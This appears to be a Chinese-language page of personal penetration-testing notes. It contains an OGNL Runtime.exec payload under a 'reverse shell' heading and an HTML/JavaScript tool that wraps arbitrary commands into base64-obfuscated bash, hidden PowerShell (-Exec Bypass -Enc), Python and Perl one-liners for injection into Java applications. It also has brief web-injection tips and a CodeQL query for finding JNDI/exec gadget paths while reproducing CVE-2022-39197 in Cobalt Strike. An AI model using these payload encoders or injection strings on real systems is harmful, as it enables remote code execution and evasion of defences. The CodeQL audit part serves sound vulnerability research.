一些杂七杂八提醒自己的东西
反弹shell
@java.lang.Runtime@getRuntime().exec(‘id’)
base64编码工具
<!DOCTYPE html>
<html>
<head>
<title>java runtime exec usage...</title>
</head>
<body>
<p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
<p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
<script>
var taInput = document.querySelector('textarea#input');
var taOutput = document.querySelector('textarea#output');
function processInput() {
var option = document.querySelector('input[name="option"]:checked').value;
switch (option) {
case 'bash':
taInput.placeholder = 'Type Bash here...'
taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
break;
case 'powershell':
taInput.placeholder = 'Type PowerShell here...'
poshInput = ''
for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
break;
case 'python':
taInput.placeholder = 'Type Python here...'
taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
break;
case 'perl':
taInput.placeholder = 'Type Perl here...'
taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
break;
default:
taOutput.value = ''
}
if (!taInput.value) taOutput.value = '';
}
taInput.addEventListener('input', processInput, false);
</script>
</body>
</html>
Shell、命令等，上传到java的时候，base64编码一下
web攻击
一些注入攻击，bp该包等攻击，注意url编码一下
代码审计的时候，可以用codeQL，用来查找漏洞函数
代码审计的时候，因为代码太多了，函数也太多了，就可以用codeQL来找一些符合条件的函数。
应用场景：你需要找一个函数，他传入的参数是String类型，而且返回的值也是String类型，还有就是函数名字是setXxx这样的
cs rce CVE-2022-39197 漏洞复现
CS_XSS.ql
/**
* @kind path-problem
*/
import java
//查找source的类到恶意类的通路
//source有xxx属性、有setXXX方法且有一个String参数、instanceof Component
class XXXSetMethod extends Method{
XXXSetMethod(){
this.getName().indexOf("set") = 0 and
this.getName().length() > 3 and
this.getNumberOfParameters() = 1 and
this.getAParamType().hasName("String") and
this.getDeclaringType().getASupertype*().hasQualifiedName("java.awt", "Component")
}
}
class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
this.hasName("lookup")
}
}
class InvokeMethod extends Method {
InvokeMethod() {
this.hasName("invoke")
}
}
class NewInstanceMethod extends Method {
NewInstanceMethod() {
exists(RefType type, Method m|
this.getACallee() = m and
m.hasName("newInstance") and
m.getDeclaringType*().getErasure() = type
)
}
}
class CommandInjectMethod extends Method {
CommandInjectMethod() {
this.getACallee() instanceof ExecCallable
}
}
class RuntimeMethod extends Method {
RuntimeMethod() {
this.getDeclaringType().hasQualifiedName("java.lang", "Runtime") and
this.hasName("exec")
}
}
class TargetMethod extends Method {
TargetMethod() {
this instanceof JNDIMethod or
// this instanceof InvokeMethod or
// this instanceof NewInstanceMethod or
this instanceof CommandInjectMethod or
this instanceof MethodRuntimeExec or
this instanceof MethodProcessBuilderCommand
}
}
query predicate edges(Method a, Method b) { a.polyCalls(b) }
from XXXSetMethod entryPoint, TargetMethod end
where edges*(entryPoint, end)
select entryPoint, entryPoint, end, "Found a path from start to target."
